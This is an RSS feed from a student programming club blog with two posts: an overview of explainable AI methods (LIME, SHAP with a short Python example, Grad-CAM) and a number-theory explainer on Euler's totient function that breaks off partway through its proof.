<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[COPS IIT BHU]]></title><description><![CDATA[Dive into the digital realm where innovation meets keystrokes, and algorithms dance to the rhythm of creativity – welcome to the Club of Programmers at IIT BHU.]]></description><link>https://blogs.copsiitbhu.co.in</link><generator>RSS for Node</generator><lastBuildDate>Sun, 12 Apr 2026 02:50:35 GMT</lastBuildDate><atom:link href="https://blogs.copsiitbhu.co.in/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Explainable AI: Evolution And Current Advancements]]></title><description><![CDATA[Artificial Intelligence (AI) is all around us—powering recommendations, self-driving cars, and even medical diagnoses. But have you ever stopped to wonder how AI makes these decisions? As AI gets more advanced, it becomes harder to understand its rea...]]></description><link>https://blogs.copsiitbhu.co.in/explainable-ai-evolution-and-current-advancements</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/explainable-ai-evolution-and-current-advancements</guid><category><![CDATA[Explainability]]></category><category><![CDATA[ML]]></category><dc:creator><![CDATA[Dinesh Sahoo]]></dc:creator><pubDate>Sat, 21 Dec 2024 03:40:19 GMT</pubDate><content:encoded><![CDATA[<p>Artificial Intelligence (AI) is all around us—powering recommendations, self-driving cars, and even medical diagnoses. But have you ever stopped to wonder <em>how</em> AI makes these decisions? As AI gets more advanced, it becomes harder to understand its reasoning. Curious to know what’s going on behind the scenes? But hey; is it even essential to understand the reasoning? Let’s dive into why explaining AI decisions is so important!</p>
<h2 id="heading-why-should-we-know-how-ai-makes-decisions">Why should we know how AI makes decisions?</h2>
<p>Imagine getting turned down for a loan without being given a reason. You probably want to know why—was it because of your income, credit score, or something else? This is precisely the problem with contemporary AI systems, which are frequently referred to as "<strong>black boxes</strong>." Although they don't always explain their decision-making process, they can be quite correct. Why, then, is it so crucial that we comprehend AI's logic? Let’s dive:</p>
<ol>
<li><p><strong>Trust and Adoption of AI</strong>:</p>
<p> If a doctor recommended a course of treatment without providing an explanation, would you believe them? Most likely not. AI is no different. Trust is increased when AI judgments are understood. For instance, AI models are being utilized more and more in the medical field to help with diagnosis. Both patients and physicians must comprehend the reasoning behind a medical AI's prediction that a patient is in danger of contracting an illness. Is it because of other medical records, age, lifestyle, or family history? Even if AI systems work effectively, people are reluctant to rely on them in the absence of this openness.<br /> <strong>Lipton's 2016 study "The Mythos of Model Interpretability"</strong> asserts that the idea of interpretability is essential since it fosters confidence in artificial intelligence. Lipton makes a distinction between transparency (knowing how the model functions within) and post-hoc justifications, which provide an explanation for a person's choice after it has been made. For AI systems to be widely used, especially in delicate situations where people's lives are at stake, both are required.</p>
</li>
<li><p><strong>Ethical Concerns: Bias and Fairness</strong></p>
<p> Another important reason we must comprehend how AI systems make decisions is the bias issue. Because AI models are trained on historical data, they may occasionally inherit the biases present in that data. We might never be able to identify instances of unjust AI decision-making without explicit justifications.<br /> AI models are used, for instance, in criminal justice to forecast recidivism, or the likelihood that an individual would commit the same crime again. However, a number of studies have demonstrated that these models may be skewed against particular socioeconomic or racial groups. These biases could go unnoticed and result in unjust treatment if we are unable to comprehend or explain the reasoning behind the model. A study on the <strong>COMPAS (Correctional Offender Management Profiling for Alternative Sanctions)</strong> tool, which is used in U.S. courts to estimate the chance of reoffending, provides a real-world example of bias in AI recidivism models. Even after adjusting for comparable prior offenses and profiles, a <strong>2016 ProPublica analysis found that COMPAS</strong> disproportionately predicted a <strong>higher</strong> <strong>recidivism probability for Black defendants than for white defendants</strong>. This prejudice demonstrated how AI models can unintentionally reinforce racial inequality, raising questions about justice in the criminal justice system.<br /> In their <strong>2016</strong> work <strong>"Why Should I Trust You?," Ribeiro et al.</strong> presented the <strong>LIME (Local Interpretable Model-agnostic Explanations)</strong> technique, which enables users to create straightforward, understandable models that provide an explanation for each of a complex AI system's individual predictions. LIME, for instance, might provide transparency and aid in identifying potential biases by explaining why an AI model projected that a defendant is likely to commit another crime.</p>
</li>
<li><p><strong>Regulatory Requirements</strong></p>
<p> As AI becomes integral to decision-making processes, regulatory bodies are demanding transparency. The EU's General Data Protection Regulation (GDPR), for example, grants individuals the right to an explanation when subjected to automated decisions. This legal framework is vital for ensuring accountability in AI systems. This growing demand for explainability is also seen in fields like <strong>finance</strong> and <strong>healthcare</strong>, where there are strict legal requirements to justify decisions. <strong>Selbst et al. (2017)</strong> discuss the social and legal dimensions of explainable AI in their paper "<strong>The Right to Explanation: A Socio-Legal Perspective on Explainable AI</strong>." They argue that transparency is not just a technical challenge but also a necessary component for the <strong>ethical and lawful deployment</strong> of AI.</p>
</li>
<li><p><strong>Error Detection and Accountability</strong></p>
<p> No AI system is perfect. Even the best-performing models can make mistakes, but without understanding how those mistakes were made, it's difficult to improve the model. In life-critical areas like <strong>autonomous driving</strong>, errors can lead to disastrous consequences. If an autonomous vehicle misinterprets an object on the road and causes an accident, engineers need to pinpoint why the AI made that decision in order to prevent it from happening again.</p>
<p> Similarly, in finance, AI models that predict stock market trends or approve loans need to be <strong>auditable</strong> so errors can be traced back to specific features or data points.</p>
</li>
</ol>
<h2 id="heading-origin-and-evolution-of-xai">Origin And Evolution Of XAI</h2>
<p>Now that we know how important it is to understand the reasoning behind AI models, let’s learn about the origin of explainability techniques!</p>
<h3 id="heading-the-rise-of-interpretable-models-decision-trees-and-early-methods-1980s2000s">The Rise of Interpretable Models: Decision Trees and Early Methods (1980s–2000s)</h3>
<p>In the early development of AI and machine learning, the models were built with a strong emphasis on <strong>interpretability</strong>. During this era, simple models like <strong>decision trees</strong> and <strong>regression models</strong> became foundational tools because of their transparency. These models allowed humans to understand <strong>how and why</strong> a machine arrived at a specific decision, an essential feature when AI was being used in high-stakes fields like medicine, finance, and education.</p>
<p><strong>Key Paper: Induction of Decision Trees by Quinlan, J. R. (1986)</strong><br />J.R. Quinlan's work on decision trees was one of the most significant turning points in the development of interpretable models. Quinlan established the foundation for later advancements in decision trees with the introduction of the ID3 method in his 1986 publication, Induction of Decision Trees.<br />Similar to a flowchart, a decision tree has nodes that indicate decisions based on features, branches that reflect outcomes, and leaf nodes that represent classes or decisions (approval of a loan, for example). This structure's openness is its greatest asset; it allows you to track a decision's precise trajectory, which makes it simple to explain to both technical and non-technical people.</p>
<p>Example: A decision tree may pose the following queries as part of a loan approval system:<br />A) Does the applicant have a credit score higher than 700?<br />B) Does the income exceed $50,000?</p>
<p>The model makes a decision (allow or deny the loan) based on the answers to these questions. Users can trust the model's decisions because each step is rational and transparent.</p>
<p><strong>Logistic Regression and Linear Regression: Initial Transparent Models</strong><br />Because of their ease of use and interpretability, models such as logistic regression and linear regression were also widely utilized in addition to decision trees. By using coefficients to illustrate how each input information affected the prediction, these models provided transparency.<br />For instance, the square footage coefficient in a linear regression model that forecasts home prices explicitly explains how the price of a home varies significantly with each square foot added. These models were ideal for early AI systems when interpretability was a top priority because of their high degree of transparency.</p>
<p><strong>Key Paper: Random Forests by Breiman, L. (2001)</strong><br />Decision trees tended to overfit the data, which meant they might perform poorly on unseen data, despite their great interpretability. Leo Breiman developed Random Forests, an ensemble technique that integrated several decision trees to increase accuracy and robustness, in 2001 to address this issue.<br />However, the <strong>accuracy vs. interpretability trade-off</strong> started with Random Forests. Random Forests increased prediction accuracy by combining the choices of numerous decision trees, but at the expense of transparency—it became much more difficult to comprehend how the model arrived at particular conclusions when hundreds of trees were being employed.</p>
<p><strong>The Argument Between Interpretability and Accuracy</strong><br />A crucial trade-off was brought to light by the creation of models such as Random Forests: improving accuracy frequently came at the expense of interpretability. Concern over machine learning systems’ "black box" nature grew as models got increasingly intricate. Users and decision-makers desired systems that could clearly explain their forecasts in addition to being correct.</p>
<p>As the discipline started to struggle with striking a balance between performance and transparency, this tension set the stage for future research into explainable AI (XAI) techniques.</p>
<p><strong>Conclusions from This Era:</strong></p>
<ul>
<li><p><strong>Transparency:</strong> Early models, like as regression and decision trees, were simple to understand but had limited complexity.</p>
</li>
<li><p><strong>Performance Limits:</strong> Due to their simplicity, these models performed poorly on extremely difficult problems.</p>
</li>
</ul>
<p><strong>The Start of Trade-offs:</strong> Breiman's Random Forests showed that increasing accuracy frequently meant sacrificing interpretability, laying the groundwork for later debates on the necessity of explainable AI.</p>
<h3 id="heading-the-black-box-problem-and-the-birth-of-interpretability-concerns-2010s">The Black Box Problem and the Birth of Interpretability Concerns (2010s)</h3>
<p>As AI evolved, so did its complexity. In the 2010s, AI experienced a major shift with the rise of <strong>Neural Networks</strong> and <strong>Deep Learning</strong>. These models were incredibly powerful—capable of analyzing vast amounts of data and making highly accurate predictions. But there was one big problem: <strong>no one could really explain how these models made decisions</strong>. This created what we now call the <strong>black box problem</strong>.</p>
<h4 id="heading-rise-of-complex-models-and-deep-learning"><strong>Rise of Complex Models and Deep Learning</strong></h4>
<p>The 2010s marked the <strong>Deep Learning revolution</strong>. Neural networks became the go-to models for tasks like image recognition, speech processing, and even playing complex games. These models thrived on huge datasets and powerful hardware, but there was a trade-off: the more complex they got, the harder it became to understand their decision-making process.</p>
<p>Think about it—if an AI system tells you that someone is denied a loan or diagnosed with a disease, you’d want to know <em>why</em>. Yet, with deep learning, the decisions often felt like they were coming from a “black box” where we couldn’t see or interpret what was going on inside. And this is where the problem escalates, especially in <strong>critical areas like healthcare, finance, and law</strong>, where fairness and transparency are non-negotiable.</p>
<h4 id="heading-understanding-the-need-for-xai"><strong>Understanding the Need for XAI</strong></h4>
<p>To address this, researchers began to focus on how to <strong>interpret these complex models</strong>, giving rise to the field of <strong>Explainable AI (XAI)</strong>. But what does interpretability really mean? This is where <strong>Lipton's (2016) paper, "The Mythos of Model Interpretability,"</strong> plays a crucial role.</p>
<p>Lipton laid out two key types of interpretability:</p>
<ul>
<li><p><strong>Transparency</strong>: This refers to understanding how the model works from the inside out. For example, in simpler models like decision trees, every step of the process is visible.</p>
</li>
<li><p><strong>Post-hoc explanations</strong>: Since deep learning models are far too complex to be transparent, we often rely on <strong>post-hoc methods</strong>, which explain individual decisions after the fact. Instead of understanding the whole model, we get an explanation of <em>why</em> a specific decision was made.</p>
</li>
</ul>
<p>Lipton's paper also introduced the idea of <strong>model-specific</strong> vs. <strong>model-agnostic</strong> explanations:</p>
<p><strong>Model-specific</strong> techniques are tailored to particular algorithms, providing deeper insights into certain models.</p>
<p><strong>Model-agnostic</strong> techniques, on the other hand, can explain decisions from any model, even if we don’t fully understand how the model itself works</p>
<h3 id="heading-the-emergence-of-xai-methods-20162019">The Emergence of XAI Methods (2016–2019)</h3>
<p>The years between 2016 and 2019 marked a transformative period in the development of Explainable AI (XAI) methods. As AI systems became more prevalent in critical applications such as healthcare, finance, and criminal justice, the need for transparency and interpretability grew increasingly urgent. Researchers responded by introducing a variety of innovative techniques designed to elucidate the decision-making processes of complex machine-learning models.</p>
<h4 id="heading-model-agnostic-techniques">Model-Agnostic Techniques</h4>
<p>One of the pivotal contributions during this period was made by Ribeiro et al. in their 2016 paper, <em>"Why Should I Trust You? Explaining the Predictions of Any Classifier."</em> This work introduced <strong>LIME (Local Interpretable Model-agnostic Explanations)</strong>, a technique that allows for the interpretation of any black-box model.</p>
<p><strong>How LIME Works:</strong></p>
<ol>
<li><p><strong>Locality:</strong> LIME focuses on making predictions interpretable for individual instances rather than the entire dataset. It generates a simplified model around the prediction to explain it effectively.</p>
</li>
<li><p><strong>Perturbation:</strong> It creates a dataset of perturbed instances by tweaking the original input features slightly.</p>
</li>
<li><p><strong>Fitting a Simple Model:</strong> A simpler model (like a linear model) is then trained on this perturbed data to approximate the complex model's behavior in that local region.</p>
</li>
</ol>
<p><strong>Importance of LIME:</strong></p>
<ul>
<li><p><strong>Local Interpretability</strong>: LIME focuses on generating explanations for individual predictions rather than the model as a whole. It does this by approximating complex models with simpler, interpretable ones in the vicinity of the prediction of interest. This is particularly valuable in applications like credit scoring, where a customer may want to understand why their loan was denied.</p>
</li>
<li><p><strong>Example</strong>:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729430916553/783ebf7b-d399-41e0-afed-d747607c2b84.png" alt class="image--center mx-auto" /></p>
<p>  This example showcases how LIME (Local Interpretable Model-agnostic Explanations) explains a text classifier's decision. The task is to classify a document as either "atheism" or "Christian."</p>
<p>  The classifier's prediction probabilities are 0.58 for atheism (blue) and 0.42 for Christian (orange).</p>
<p>  Keywords in the text are highlighted in blue and orange, showing their contribution to the predictions.</p>
<ul>
<li><p>Blue words like "NNTP" and "Host" support the "atheism" classification.</p>
</li>
<li><p>Orange words would contribute to the "christian" classification, though none are visible here.</p>
</li>
</ul>
</li>
</ul>
<p>LIME shows how removing words like "Host" and "NNTP" reduces the probability of predicting atheism from 0.58 to 0.31, explaining how specific words influence the classifier’s output.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729431449595/af81d31d-d762-43f4-8a05-7475bd44149e.png" alt class="image--center mx-auto" /></p>
<p>This image displays an example of LIME (Local Interpretable Model-agnostic Explanations) applied to a digit recognition model for the MNIST dataset. The model is tasked with identifying the digit "8," but LIME shows the parts of the image that influence the model’s predictions for each class (0 through 9).</p>
<ul>
<li><p>The "Actual 8" means the true label is an 8.</p>
</li>
<li><p>Each panel shows which parts of the image (in color) contribute to a positive prediction for each digit. For example:</p>
<ul>
<li><p>The panel labeled "Positive for 0" highlights no significant regions, meaning the model doesn't strongly predict "0."</p>
</li>
<li><p>The panel for "Positive for 5" shows the lower-left part of the image influencing the model to predict a "5."</p>
</li>
<li><p>The panel for "Positive for 8" highlights the areas the model uses to correctly predict the digit as "8."</p>
</li>
</ul>
</li>
</ul>
<p>LIME visualizes how different regions of the image drive predictions for various digits, explaining the decision-making of the model for this specific image.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729431805274/56ce7d47-5eee-45d6-b0a9-c9eda8a8ebb6.png" alt class="image--center mx-auto" /></p>
<p>Credits: <a target="_blank" href="https://github.com/marcotcr/lime?tab=readme-ov-file">https://github.com/marcotcr/lime?tab=readme-ov-file</a></p>
<h2 id="heading-game-theoretic-approaches"><strong>Game-Theoretic Approaches</strong></h2>
<p>Another significant advancement in XAI methods was introduced by <strong>Lundberg &amp; Lee (2017)</strong> in their paper, <strong>“SHAP: A Unified Approach to Interpreting Model Predictions.”</strong> This paper introduced <strong>SHAP (SHapley Additive exPlanations)</strong>, a method rooted in <strong>Shapley values</strong> from cooperative game theory.</p>
<p><strong>How SHAP Works:</strong></p>
<ul>
<li><p>SHAP assigns each feature an importance value based on its contribution to the prediction, allowing for both <strong>global</strong> and <strong>local interpretability</strong>.</p>
</li>
<li><p>The Shapley value is calculated by considering all possible combinations of features and evaluating how the inclusion of a specific feature changes the prediction.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729432287023/16094d20-9ffe-4f47-b92e-50037eb7a91d.png" alt class="image--center mx-auto" /></p>
<h4 id="heading-key-aspects-of-shap">Key Aspects of SHAP</h4>
<ol>
<li><p><strong>Shapley Values</strong>:</p>
<ul>
<li><p>SHAP calculates the contribution of each feature to the prediction based on the average marginal contribution of that feature across all possible combinations of features. This provides a theoretically sound basis for interpreting model predictions.</p>
</li>
<li><p>The formulation ensures that the contributions are fairly distributed among features, reflecting their actual impact on the model’s output.</p>
</li>
</ul>
</li>
<li><p><strong>Additivity</strong>:</p>
<ul>
<li>The SHAP framework maintains an additive property, meaning that the sum of the SHAP values across all features equals the difference between the model's prediction and the average prediction of the model. This ensures consistency and enhances interpretability.</li>
</ul>
</li>
<li><p><strong>Unified Framework</strong>:</p>
<ul>
<li>SHAP provides both local (individual prediction) and global (overall feature importance) interpretability, offering a comprehensive view of how features influence model predictions across different contexts.</li>
</ul>
</li>
</ol>
</li>
</ul>
<h4 id="heading-advantages-of-shap">Advantages of SHAP</h4>
<ul>
<li><p><strong>Consistency</strong>: SHAP's use of Shapley values ensures that if a model changes in such a way that a feature's importance increases, its SHAP value will also increase, thereby providing consistent explanations.</p>
</li>
<li><p><strong>Fairness</strong>: By considering all possible combinations of features, SHAP provides a fair attribution of contributions to each feature, avoiding biases that may arise from simpler methods.</p>
</li>
<li><p><strong>Interpretability</strong>: SHAP values are easy to interpret, as they directly indicate how much each feature contributes to the final prediction. This makes it easier for stakeholders to understand model decisions, especially in high-stakes fields like healthcare and finance.</p>
</li>
<li><p><strong>Model-Agnostic</strong>: SHAP can be applied to any machine learning model, allowing it to be used in various applications without the need for extensive modifications to the model architecture.</p>
</li>
</ul>
<p>    <strong>Example :</strong></p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> xgboost
<span class="hljs-keyword">import</span> shap

<span class="hljs-comment"># train an XGBoost model</span>
X, y = shap.datasets.california()
model = xgboost.XGBRegressor().fit(X, y)

<span class="hljs-comment"># explain the model's predictions using SHAP</span>
<span class="hljs-comment"># (same syntax works for LightGBM, CatBoost, scikit-learn, transformers, Spark, etc.)</span>
explainer = shap.Explainer(model)
shap_values = explainer(X)

<span class="hljs-comment"># visualize the first prediction's explanation</span>
shap.plots.waterfall(shap_values[<span class="hljs-number">0</span>])
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729432923024/9ab7e65c-30f1-4929-b948-d3b69d7cc379.png" alt class="image--center mx-auto" /></p>
<p>The <strong>California Housing dataset</strong> is a commonly used dataset for regression tasks, available in libraries like <code>sklearn</code> and <code>shap</code>. It contains information about various houses in California and is often used to predict <strong>house prices</strong> based on several features.</p>
<p>The <strong>SHAP waterfall plot</strong> visually explains how the features of a specific house (one row in the dataset) contributed to the model's prediction for that house's price.</p>
<h4 id="heading-key-elements-of-the-plot">Key Elements of the Plot:</h4>
<ol>
<li><p><strong>f(x) = 4.413</strong>:</p>
<ul>
<li>This is the model's final prediction for the specific house. It’s the <strong>predicted house price</strong> (in log scale or normalized value) for the given data instance.</li>
</ul>
</li>
<li><p><strong>E[f(x)] = 2.068</strong>:</p>
<ul>
<li><p>This is the <strong>expected prediction</strong>, i.e., the average prediction that the model makes across all houses in the dataset. It's essentially the <strong>baseline prediction</strong> or base value.</p>
</li>
<li><p>All the contributions (positive and negative) from the features are added to this baseline to arrive at the final prediction (<code>f(x) = 4.413</code>).</p>
</li>
</ul>
</li>
<li><p><strong>SHAP Values</strong>:</p>
<ul>
<li><p><strong>SHAP values</strong> explain the <strong>magnitude and direction</strong> of the impact that each feature has on the prediction. Positive SHAP values (red bars) push the prediction higher, while negative SHAP values (blue bars) push the prediction lower.</p>
<p>  Summary:</p>
<ul>
<li><p><strong>MedInc</strong> (Median Income) has the largest positive impact on the predicted price, making the prediction of house prices much higher than the average.</p>
</li>
<li><p><strong>Longitude</strong> and <strong>Latitude</strong> also play important roles, but Longitude pushes the prediction up, while Latitude decreases it slightly.</p>
</li>
<li><p><strong>AveRooms</strong>, <strong>HouseAge</strong>, and <strong>Population</strong> have smaller effects but still contribute to the overall prediction.</p>
</li>
<li><p>Features like <strong>AveOccup</strong> and <strong>AveBedrms</strong> don’t affect the prediction for this specific house at all.</p>
</li>
</ul>
</li>
</ul>
</li>
</ol>
<p>        This plot helps you <strong>understand why</strong> the model made this particular prediction, breaking down the contribution of each feature in a way that's easy to interpret.</p>
<p>    Credits: <a target="_blank" href="https://github.com/shap/shap?tab=readme-ov-file">https://github.com/shap/shap?tab=readme-ov-file</a></p>
<h3 id="heading-visualization-techniques-for-deep-learning"><strong>Visualization Techniques for Deep Learning</strong></h3>
<p>As deep learning models, especially Convolutional Neural Networks (CNNs), have gained popularity in tasks such as image classification and object detection, the need for effective visualization techniques to interpret these models has become paramount. Understanding how these models make predictions is essential for trust and accountability, especially in critical applications like healthcare and autonomous driving. This section explores key visualization techniques that have emerged, with a focus on <strong>Grad-CAM (Gradient-weighted Class Activation Mapping)</strong>.</p>
<h4 id="heading-grad-cam-a-visual-explanation-technique">Grad-CAM: A Visual Explanation Technique</h4>
<p>Introduced by Selvaraju et al. in their paper <em>"Grad-CAM: Visual Explanations from Deep Networks via Gradient-Based Localization" (2017)</em>, Grad-CAM provides insights into the regions of an input image that contribute most significantly to a model's predictions.</p>
<h5 id="heading-how-grad-cam-works">How Grad-CAM Works</h5>
<ol>
<li><p><strong>Gradient Computation</strong>: Grad-CAM uses the gradients of the predicted class score concerning the final convolutional layer's feature maps. These gradients indicate how much the output score would change if the feature maps were perturbed.</p>
</li>
<li><p><strong>Weighting Feature Maps</strong>: The gradients are averaged to produce a weight for each feature map, highlighting which feature maps are most influential in making the prediction.</p>
</li>
<li><p><strong>Generating Heatmaps</strong>: The weighted feature maps are combined to create a heatmap, which shows the importance of each region in the input image concerning the predicted class.</p>
</li>
<li><p><strong>Superimposing the Heatmap</strong>: The heatmap can be overlaid on the original image to provide a visual representation of which parts of the image contributed to the model's decision.</p>
<p> <strong>Advantages of Grad-CAM</strong></p>
<ul>
<li><p><strong>Localization</strong>: Grad-CAM not only shows which features are important but also highlights their spatial locations in the input image. This is particularly useful for tasks like object detection and segmentation.</p>
</li>
<li><p><strong>Model-Agnostic</strong>: Grad-CAM can be applied to any CNN architecture, making it a versatile tool for interpreting deep learning models across different domains.</p>
</li>
<li><p><strong>Intuitive Visualization</strong>: The generated heatmaps provide an intuitive understanding of model behavior, enabling practitioners to correlate model predictions with visual cues in the input data.</p>
</li>
</ul>
</li>
</ol>
<p>    <strong>Grad-Cam + Guided Backpropagation</strong></p>
<p>    <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729434057262/e6c655e9-43d9-4bc7-9937-1fb6b2ec96f4.png" alt class="image--center mx-auto" /></p>
<p>    This diagram appears to illustrate the process of visual explanations using Grad-CAM (Gradient-weighted Class Activation Mapping) and Guided Backpropagation for interpretable deep learning in various tasks, such as image classification, image captioning, and visual question answering (VQA).</p>
<p>    Source: <a target="_blank" href="https://arxiv.org/pdf/1610.02391">https://arxiv.org/pdf/1610.02391</a></p>
<p>    <strong>Key Components of the Diagram:</strong></p>
<ol>
<li><p><strong>Input and CNN</strong>:</p>
<ul>
<li><p>The image (in this case, a picture of a dog and a cat) is fed into a <strong>Convolutional Neural Network (CNN)</strong>.</p>
</li>
<li><p>The CNN generates <strong>feature maps</strong> at different layers of the network. These maps capture the hierarchical features of the image (e.g., edges, textures, and objects).</p>
</li>
</ul>
</li>
<li><p><strong>Guided Backpropagation</strong>:</p>
<ul>
<li><p>This is a <strong>visualization technique</strong> used to understand how much each pixel in the input image contributes to the final prediction. It combines regular backpropagation with ReLU (Rectified Linear Units) non-linearity.</p>
</li>
<li><p>In the diagram, the <strong>Guided Backpropagation</strong> results in an image-like visualization that highlights important features of the image that influence the model's prediction.</p>
</li>
</ul>
</li>
<li><p><strong>Grad-CAM (Gradient-weighted Class Activation Maps)</strong>:</p>
<ul>
<li><p><strong>Grad-CAM</strong> uses the gradients of the target class flowing into the final convolutional layer to produce a coarse localization map, highlighting important regions of the image.</p>
</li>
<li><p>This map shows which parts of the image contribute most to the prediction.</p>
</li>
<li><p>In the diagram, a <strong>heatmap</strong> (in red and blue) is generated, showing where the network focuses (e.g., on the animals in the image) during the task.</p>
</li>
</ul>
</li>
<li><p><strong>Combination of Grad-CAM and Guided Backpropagation</strong>:</p>
<ul>
<li><p>By combining <strong>Guided Backpropagation</strong> and <strong>Grad-CAM</strong>, a more refined and detailed visualization is generated. This technique is called <strong>Guided Grad-CAM</strong>. It highlights both <strong>where</strong> and <strong>what</strong> CNN looks at when making its decision, providing more interpretable insights into how the network works.</p>
</li>
<li><p>The top section of the diagram shows this combination.</p>
</li>
</ul>
</li>
<li><p><strong>Task-Specific Network</strong>:</p>
<ul>
<li>The extracted <strong>rectified convolutional feature maps</strong> are sent to a task-specific network to solve various vision tasks. These tasks are implemented using different architectures depending on the problem.</li>
</ul>
</li>
<li><p><strong>Backpropagation Till Conv</strong>:</p>
<p> This means the <strong>backpropagation</strong> process occurs only up to the <strong>convolutional layers</strong>. It focuses on analyzing how much influence the convolutional features have on the output, stopping at this layer instead of backpropagating through the fully connected layers. This helps generate the <strong>Grad-CAM</strong> heatmap.</p>
</li>
</ol>
<h2 id="heading-the-future-of-explainable-ai"><strong>The Future of Explainable AI</strong></h2>
<p>As artificial intelligence becomes increasingly integrated into critical domains such as healthcare, finance, and law, <strong>Explainable AI (XAI)</strong> has emerged as a bridge between technical innovation and societal trust. Starting from early interpretable models like <strong>Decision Trees</strong> and <strong>Linear Regression</strong>, we have seen a shift to black-box deep learning models, which, while powerful, lack transparency. This evolution paved the way for XAI methods like <strong>LIME</strong>, <strong>SHAP</strong>, and visualization techniques such as <strong>Grad-CAM</strong>, providing ways to interpret and explain model behavior.</p>
<p>The importance of explainability is no longer a mere technical preference but a necessity for ethical, legal, and responsible AI deployment. Research highlights the risks of biases, lack of transparency, and accountability when models operate as black boxes, particularly in sensitive areas like hiring, loan approvals, and criminal justice.</p>
<p>The journey of XAI is far from over. While existing techniques offer valuable insights, challenges remain—such as scalability, the need for real-time explanations, and ensuring interpretability without sacrificing accuracy. Moving forward, advancements in XAI will not only make AI more transparent but also foster greater collaboration between machines and humans.</p>
]]></content:encoded></item><item><title><![CDATA[Understanding Euler's Totient Function: A Key Tool in Number Theory]]></title><description><![CDATA[Euler’s Totient Function often symbolised as ϕ(n), is one of the most important and fascinating functions in number theory. Named after the mathematician Leonhard Euler, it counts the number of integers upto a given integer n that are coprime to n. T...]]></description><link>https://blogs.copsiitbhu.co.in/understanding-eulers-totient-function-a-key-tool-in-number-theory</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/understanding-eulers-totient-function-a-key-tool-in-number-theory</guid><category><![CDATA[Programming Blogs]]></category><category><![CDATA[Competitive programming]]></category><category><![CDATA[Number theory]]></category><dc:creator><![CDATA[Dhanish Shetty]]></dc:creator><pubDate>Thu, 19 Dec 2024 12:56:22 GMT</pubDate><content:encoded><![CDATA[<p>Euler’s Totient Function often symbolised as ϕ(n), is one of the most important and fascinating functions in number theory. Named after the mathematician Leonhard Euler, it counts the number of integers upto a given integer n that are coprime to n. This function has deep applications in number theory, cryptography, and even combinatorics.</p>
<h3 id="heading-what-is-eulers-totient-function">What is Euler’s Totient Function?</h3>
<p>In number theory, Euler’s Totient Function counts the positive integers up to a given integer <em>n</em> that are relatively prime to n. It is the number of integers <em>k</em> in the range 1 ≤ <em>k</em> ≤ <em>n</em> for which the greatest common integer gcd(n,k) is equal to 1. The integers <em>k</em> of this form are sometimes referred to as totatives of n.</p>
<h3 id="heading-definition">Definition</h3>
<p>For any positive integer n, ϕ(n) is the count of integers k (where 1&lt;=k&lt;=n) such that GCD(n,k)=1.</p>
<p>For example, the totatives of <em>n</em> = 9 are the six numbers 1, 2, 4, 5, 7 and 8. They are all relatively prime to 9, but the other three numbers in this range, 3, 6, and 9 are not, since gcd(9, 3) = gcd(9, 6) = 3 and gcd(9, 9) = 9. Therefore, <em>φ</em>(9) = 6. As another example, <em>φ</em>(1) = 1 since for <em>n</em> = 1 the only integer in the range from 1 to <em>n</em> is 1 itself, and gcd(1, 1) = 1.</p>
<h3 id="heading-formula-for-eulers-totient-function">Formula for Euler’s Totient Function</h3>
<p>To compute ϕ(n) effectively, we rely on the prime factorisation of n. If the prime factorisation of n is:</p>
<p><img src="https://wikimedia.org/api/rest_v1/media/math/render/svg/52f9538221d0fcae917b57da97b72ef3fca710ff" alt="{isplaystyle n=p_{1}^{k_{1}}p_{2}^{k_{2}}dots p_{r}^{k_{r}}}" class="image--center mx-auto" /></p>
<p>where <em>p1,p2,…,pk</em> are the distinct prime factors of n, then ϕ(n) is given by:</p>
<p><img src="https://wikimedia.org/api/rest_v1/media/math/render/svg/bb6b6388ded7d1e160a3bd82b60c5b593947088a" alt="{isplaystyle arphi (n)=nrod _{pid n}eft(1-{rac {1}{p}}ight),}" class="image--center mx-auto" /></p>
<p>where the product is over the distinct prime numbers dividing n.</p>
<p><strong>Explanation of the Formula</strong></p>
<ol>
<li><p><strong>Effect of Prime Factors</strong>: If n is to be divided by a prime p then there are n/p multiples of the p’s till n or (p,2p,3p,…). The problem is these multiples are not coprime to n, thus we deduct this count for each distinct prime factor of n.</p>
</li>
<li><p><strong>Product Form</strong>: The product form</p>
<p> <img src="https://wikimedia.org/api/rest_v1/media/math/render/svg/bb6b6388ded7d1e160a3bd82b60c5b593947088a" alt="{isplaystyle arphi (n)=nrod _{pid n}eft(1-{rac {1}{p}}ight),}" class="image--center mx-auto" /></p>
<p> accounts for all distinct primes dividing n, and the multiplication by n adjusts the final count based on the fraction of numbers that are not divisible by any of these prime factors.</p>
</li>
</ol>
<p>Also, Phi is a multiplicative function. This means that if gcd(m, n)=1</p>
<p>then <em>φ</em>(<em>m</em>).<em>φ</em>(<em>n</em>) = <em>φ</em>(<em>m.n</em>).</p>
<h3 id="heading-proof-of-eulers-product-formula">Proof of Euler’s Product Formula</h3>
<ol>
<li>The fundamental theorem of arithmetic expression states that unique expression,</li>
</ol>
<p><img src="https://wikimedia.org/api/rest_v1/media/math/render/svg/a24829d66bca81858264ebea940213d5fab1ca27" alt="{isplaystyle n=p_{1}^{k_{1}}p_{2}^{k_{2}}dots p_{r}^{k_{r}},}" class="image--center mx-auto" /></p>
<p>where <em>p</em><sub>1</sub> &lt; <em>p</em><sub>2</sub> &lt; ... &lt; <em>p<sub>r</sub></em> are prime numbers and each <em>k<sub>i</sub></em> ≥ 1 (The case when <em>n</em> = 1 corresponds to the empty product.). Repeatedly using the multiplicative property of <em>φ</em> and the formula for <em>φ</em>(<em>p<sup>k</sup></em>) gives</p>
